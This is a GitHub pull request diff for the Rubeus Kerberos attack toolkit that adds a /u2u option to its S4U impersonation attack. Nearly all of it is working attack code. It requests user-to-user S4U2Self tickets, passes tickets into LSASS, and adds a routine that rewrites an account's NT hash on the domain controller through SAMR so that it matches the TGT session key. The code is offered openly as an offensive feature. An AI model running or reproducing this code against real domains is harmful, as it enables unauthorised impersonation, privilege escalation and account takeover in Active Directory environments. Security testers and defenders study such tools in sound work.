Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added /u2u option for S4U attack #137

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions Rubeus/Commands/Asktgt.cs
Original file line number Diff line number Diff line change
Expand Up @@ -228,9 +228,9 @@ public void Execute(Dictionary<string, string> arguments)
return;
}
if (String.IsNullOrEmpty(certificate))
Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl);
Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, false, pac, proxyUrl);
else
Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl);
Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, false, getCredentials, proxyUrl);

return;
}
Expand Down
13 changes: 10 additions & 3 deletions Rubeus/Commands/S4u.cs
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ public void Execute(Dictionary<string, string> arguments)
bool opsec = false;
bool bronzebit = false;
bool pac = true;
bool u2u = false;
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
KRB_CRED tgs = null;
string proxyUrl = null;
Expand Down Expand Up @@ -121,6 +122,12 @@ public void Execute(Dictionary<string, string> arguments)
{
pac = false;
}

if (arguments.ContainsKey("/u2u"))
{
u2u = true;
}

if (arguments.ContainsKey("/proxyurl"))
{
proxyUrl = arguments["/proxyurl"];
Expand Down Expand Up @@ -181,13 +188,13 @@ public void Execute(Dictionary<string, string> arguments)
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, u2u, domain, impersonateDomain, proxyUrl, createnetonly, show);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, u2u, domain, impersonateDomain, proxyUrl, createnetonly, show);
}
else
{
Expand All @@ -207,7 +214,7 @@ public void Execute(Dictionary<string, string> arguments)
return;
}

S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac, proxyUrl, createnetonly, show);
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac, u2u, proxyUrl, createnetonly, show);
return;
}
else
Expand Down
1 change: 1 addition & 0 deletions Rubeus/Rubeus.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -216,6 +216,7 @@
<Compile Include="lib\Roast.cs" />
<Compile Include="lib\S4U.cs" />
<Compile Include="lib\ForgeTicket.cs" />
<Compile Include="lib\Samr.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
Expand Down
21 changes: 14 additions & 7 deletions Rubeus/lib/Ask.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ public KerberosErrorException(string message, KRB_ERROR krbError)

public class Ask
{
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true, string proxyUrl = null)
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool u2u = false, bool pac = true, string proxyUrl = null)
{
// send request without Pre-Auth to emulate genuine traffic
bool preauth = false;
Expand All @@ -49,7 +49,7 @@ public class Ask
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac);
return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey, false, proxyUrl);
return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey, u2u, false, proxyUrl);
}
}
catch (KerberosErrorException ex)
Expand Down Expand Up @@ -168,7 +168,7 @@ public static X509Certificate2 FindCertificate(string certificate, string storeP
}
}

public static byte[] TGT(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verifyCerts = false, string servicekey = "", bool getCredentials = false, string proxyUrl = null) {
public static byte[] TGT(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verifyCerts = false, string servicekey = "", bool u2u = false, bool getCredentials = false, string proxyUrl = null) {
try {
X509Certificate2 cert = FindCertificate(certFile, certPass);

Expand All @@ -189,7 +189,7 @@ public static X509Certificate2 FindCertificate(string certificate, string storeP
Console.WriteLine("[*] Building AS-REQ (w/ PKINIT preauth) for: '{0}\\{1}'", domain, userName);

AS_REQ pkinitASREQ = AS_REQ.NewASReq(userName, domain, cert, agreement, etype, verifyCerts);
return InnerTGT(pkinitASREQ, etype, outfile, ptt, domainController, luid, describe, true, false, servicekey, getCredentials, proxyUrl);
return InnerTGT(pkinitASREQ, etype, outfile, ptt, domainController, luid, describe, true, false, servicekey, u2u, getCredentials, proxyUrl);

} catch (KerberosErrorException ex) {
KRB_ERROR error = ex.krbError;
Expand Down Expand Up @@ -230,7 +230,7 @@ public static int GetKeySize(Interop.KERB_ETYPE etype) {
}
}

public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool getCredentials = false, string proxyUrl = null)
public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool u2u = false, bool getCredentials = false, string proxyUrl = null)
{
if ((ulong)luid != 0) {
Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
Expand Down Expand Up @@ -283,7 +283,7 @@ public static int GetKeySize(Interop.KERB_ETYPE etype) {
Console.WriteLine("[+] TGT request successful!");
}

byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, getCredentials, dcIP);
byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, u2u, getCredentials, dcIP);

return kirbiBytes;
}
Expand Down Expand Up @@ -599,7 +599,7 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
return null;
}

private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool u2u = false, bool getCredentials = false, string dcIP = "")
{
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
Expand Down Expand Up @@ -754,6 +754,13 @@ public static byte[] TGS(string userName, string domain, Ticket providedTicket,
}
}

if (u2u && etype == Interop.KERB_ETYPE.rc4_hmac)
{
// populate TGT session key in case it's an S4U chain with a UPN target
// reference: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
Samr.NewHashBytes = encRepPart.key.keyvalue;
}

if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
Expand Down
28 changes: 26 additions & 2 deletions Rubeus/lib/Reset.cs
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Security.Principal;
using Asn1;

namespace Rubeus
Expand Down Expand Up @@ -198,5 +198,29 @@ public static void UserPassword(KRB_CRED kirbi, string newPassword, string domai
}
}
}

public static void UserHash(string userName, string hashString, string newHashString = "", string domainController = "")
{
// a wrapper against Samr.SetNTLM

Console.WriteLine("[*] Action: Set User NT Hash\r\n");

string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP)) { return; }

byte[] hashBytes = Helpers.StringToByteArray(hashString);

byte[] newHashBytes;
if (String.IsNullOrEmpty(newHashString))
// if the new hash string is not provided in args, that's an S4U chain with a UPN target
newHashBytes = Samr.NewHashBytes;
else
newHashBytes = Helpers.StringToByteArray(newHashString);

if (Samr.SetNTLM(dcIP, userName, hashBytes, newHashBytes) == 0)
Console.WriteLine("[+] NT hash change success!\r\n");
else
Console.WriteLine("[X] NT hash change error\r\n");
}
}
}
}
32 changes: 24 additions & 8 deletions Rubeus/lib/S4U.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,15 +3,14 @@
using System;
using System.Net;


namespace Rubeus
{
public class S4U
{
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true, string proxyUrl = null, string createnetonly = null, bool show = false)
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true, bool u2u = false, string proxyUrl = null, string createnetonly = null, bool show = false)
{
// first retrieve a TGT for the user
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, pac, proxyUrl);
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, u2u, pac, proxyUrl);

if (kirbiBytes == null)
{
Expand All @@ -27,9 +26,9 @@ public static void Execute(string userName, string domain, string keyString, Int
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

// execute the s4u process
Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype, null, null, proxyUrl, createnetonly, show);
Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype, u2u, null, null, proxyUrl, createnetonly, show);
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string requestDomain = "", string impersonateDomain = "", string proxyUrl = null, string createnetonly = null, bool show = false)
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, bool u2u = false, string requestDomain = "", string impersonateDomain = "", string proxyUrl = null, string createnetonly = null, bool show = false)
{
Console.WriteLine("[*] Action: S4U\r\n");

Expand Down Expand Up @@ -72,13 +71,21 @@ public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN =
}
else
{
self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType, proxyUrl, createnetonly, show);
self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType, u2u, proxyUrl, createnetonly, show);
if (self == null)
{
Console.WriteLine("[X] S4U2Self failed, unable to perform S4U2Proxy.");
return;
}
}

if (u2u && encType == Interop.KERB_ETYPE.rc4_hmac)
{
// change user's NT hash to her TGT session key in case it's an S4U chain with a UPN target
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
Reset.UserHash(userName, keyString, domainController: domainController);
}

if (String.IsNullOrEmpty(targetSPN) == false)
{
S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec, proxyUrl, createnetonly, show);
Expand Down Expand Up @@ -437,7 +444,7 @@ private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSP
}
}

private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false)
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, bool u2u = false, string proxyUrl = null, string createnetonly = null, bool show = false)
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
Expand All @@ -448,7 +455,16 @@ private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targe

Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);

byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);
byte[] tgsBytes;

if (u2u)
{
tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec, false, kirbi, domain, true);
}
else
{
tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);
}

byte[] response = null;

Expand Down
Loading